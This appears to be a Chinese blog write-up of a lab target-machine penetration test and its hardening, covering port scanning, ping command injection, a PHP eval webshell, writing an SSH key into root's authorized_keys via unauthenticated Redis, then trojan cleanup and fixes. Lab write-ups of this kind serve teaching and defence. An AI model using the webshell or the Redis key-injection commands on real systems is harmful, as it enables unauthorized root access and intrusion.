黑盒测试靶机(cmcc)以及对应系统加固方案

2023-10-24 12:11

本文主要是介绍黑盒测试靶机(cmcc)以及对应系统加固方案,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一、信息收集

二、进入web界面

三、redis  6379连接。

 四、连接蚁剑成功。

这是个沙箱。

 五、redis入手,使用密钥连接

六、尝试docker越狱

七、针对docker进行入侵排查

从系统层面

1、检查进程

2、木马样本可以保留样本后删除,兵结束进程

 3、检查开机启动项目

4、检查计划任务

 应用层面

1、reris未授权远程访问

2、web服务中存在的命令注入


一、信息收集

nmap -Pn -A 192.168.12.153  -p 1-20000      #获取目标主机大概信息

22            #端口可疑尝试爆破

80         #web服务

6379        #redis服务尝试连接 

上面两个比较熟悉(柿子要找软的捏)

20000      #端口就比较不熟悉  

二、进入web界面

问题:

        1、Ping命令中执行其他命令(靶场都很常见)

        2、这里的用户为www-data,但是可以执行find  cat 等命令来获取信息

        3、可以使用  ls  查看当前文件目录存在phpinfo.php在该文件目录下

        4、还有危险文件hack.php:   <?php eval($_POST['1']) ;?>  现成的一句话木马文件。

三、使用蚁剑连接。

到这里那么恭喜你,成功进入坑里。

这是个沙箱。只不过当前用户是  www-data没有root权限

五、redis入手,使用密钥连接

这里从  ps aux  也可以看到,redis也是docker里面的服务

 #制作这个密钥相当于只是进行提权

cd /root/.ssh  

ssh-keygen  #生成密钥

cd /root/.ssh   #进入到生成的密钥的界面

touch pass.txt  #生成一个文件存储密钥

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > pass.txt  #把密钥写入文件中

cat pass.txt| redis-cli -h 192.168.12.153 -x set crack  #密钥赋值

#利用redis来上传密钥

192.168.12.153:6379> config set dir /root/.ssh
192.168.12.153:6379> config  set dbfilename authorized_keys   
192.168.12.153:6379> save

通过ssh指定密钥文件进行远程连接

 成功成为了 !!!!!!!!!

docker的root

六、尝试docker越狱(You Can You UP!)

1、确认docker信息

ls -alh /.dockerenv

未果。

七、针对docker进行入侵排查

从系统层面

1、检查进程

top    #从这里可以看到这是一个木马进程

 find / -name  trojan               #查看木马文件位置

2、木马样本可以保留样本后删除,并结束进程

kill 60 72 && rm -rf /user/share/trojan/

 3、检查开机启动项目

cat /etc/rc.local      #查看本地开机启动项

4、检查计划任务

crontab -l        #检查计划任务 

 应用层面

1、reris未授权远程访问

修复方案:

①设置复杂的访问密码:  config set requirepass $%_+V#!F$##$DSad

②修改配置文件    vi ../../redis.conf  文件配置密码

2、web服务中存在的命令注入

可以使用cat  find 等命令进行敏感文件读取。

修复方案:

①使用正则去严格匹配IP的格式。凡是不是IP的直接drop

这篇关于黑盒测试靶机(cmcc)以及对应系统加固方案的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/275080

相关文章

Redis客户端连接机制的实现方案

《Redis客户端连接机制的实现方案》本文主要介绍了Redis客户端连接机制的实现方案,包括事件驱动模型、非阻塞I/O处理、连接池应用及配置优化,具有一定的参考价值,感兴趣的可以了解一下... 目录1. Redis连接模型概述2. 连接建立过程详解2.1 连php接初始化流程2.2 关键配置参数3. 最大连

Linux系统中查询JDK安装目录的几种常用方法

《Linux系统中查询JDK安装目录的几种常用方法》:本文主要介绍Linux系统中查询JDK安装目录的几种常用方法,方法分别是通过update-alternatives、Java命令、环境变量及目... 目录方法 1:通过update-alternatives查询(推荐)方法 2:检查所有已安装的 JDK方

Linux系统之lvcreate命令使用解读

《Linux系统之lvcreate命令使用解读》lvcreate是LVM中创建逻辑卷的核心命令,支持线性、条带化、RAID、镜像、快照、瘦池和缓存池等多种类型,实现灵活存储资源管理,需注意空间分配、R... 目录lvcreate命令详解一、命令概述二、语法格式三、核心功能四、选项详解五、使用示例1. 创建逻

使用Python构建一个高效的日志处理系统

《使用Python构建一个高效的日志处理系统》这篇文章主要为大家详细讲解了如何使用Python开发一个专业的日志分析工具,能够自动化处理、分析和可视化各类日志文件,大幅提升运维效率,需要的可以了解下... 目录环境准备工具功能概述完整代码实现代码深度解析1. 类设计与初始化2. 日志解析核心逻辑3. 文件处

MySQL 迁移至 Doris 最佳实践方案(最新整理)

《MySQL迁移至Doris最佳实践方案(最新整理)》本文将深入剖析三种经过实践验证的MySQL迁移至Doris的最佳方案,涵盖全量迁移、增量同步、混合迁移以及基于CDC(ChangeData... 目录一、China编程JDBC Catalog 联邦查询方案(适合跨库实时查询)1. 方案概述2. 环境要求3.

SpringBoot3.X 整合 MinIO 存储原生方案

《SpringBoot3.X整合MinIO存储原生方案》本文详细介绍了SpringBoot3.X整合MinIO的原生方案,从环境搭建到核心功能实现,涵盖了文件上传、下载、删除等常用操作,并补充了... 目录SpringBoot3.X整合MinIO存储原生方案:从环境搭建到实战开发一、前言:为什么选择MinI

golang程序打包成脚本部署到Linux系统方式

《golang程序打包成脚本部署到Linux系统方式》Golang程序通过本地编译(设置GOOS为linux生成无后缀二进制文件),上传至Linux服务器后赋权执行,使用nohup命令实现后台运行,完... 目录本地编译golang程序上传Golang二进制文件到linux服务器总结本地编译Golang程序

Linux系统性能检测命令详解

《Linux系统性能检测命令详解》本文介绍了Linux系统常用的监控命令(如top、vmstat、iostat、htop等)及其参数功能,涵盖进程状态、内存使用、磁盘I/O、系统负载等多维度资源监控,... 目录toppsuptimevmstatIOStatiotopslabtophtopdstatnmon

Knife4j+Axios+Redis前后端分离架构下的 API 管理与会话方案(最新推荐)

《Knife4j+Axios+Redis前后端分离架构下的API管理与会话方案(最新推荐)》本文主要介绍了Swagger与Knife4j的配置要点、前后端对接方法以及分布式Session实现原理,... 目录一、Swagger 与 Knife4j 的深度理解及配置要点Knife4j 配置关键要点1.Spri

SQLite3 在嵌入式C环境中存储音频/视频文件的最优方案

《SQLite3在嵌入式C环境中存储音频/视频文件的最优方案》本文探讨了SQLite3在嵌入式C环境中存储音视频文件的优化方案,推荐采用文件路径存储结合元数据管理,兼顾效率与资源限制,小文件可使用B... 目录SQLite3 在嵌入式C环境中存储音频/视频文件的专业方案一、存储策略选择1. 直接存储 vs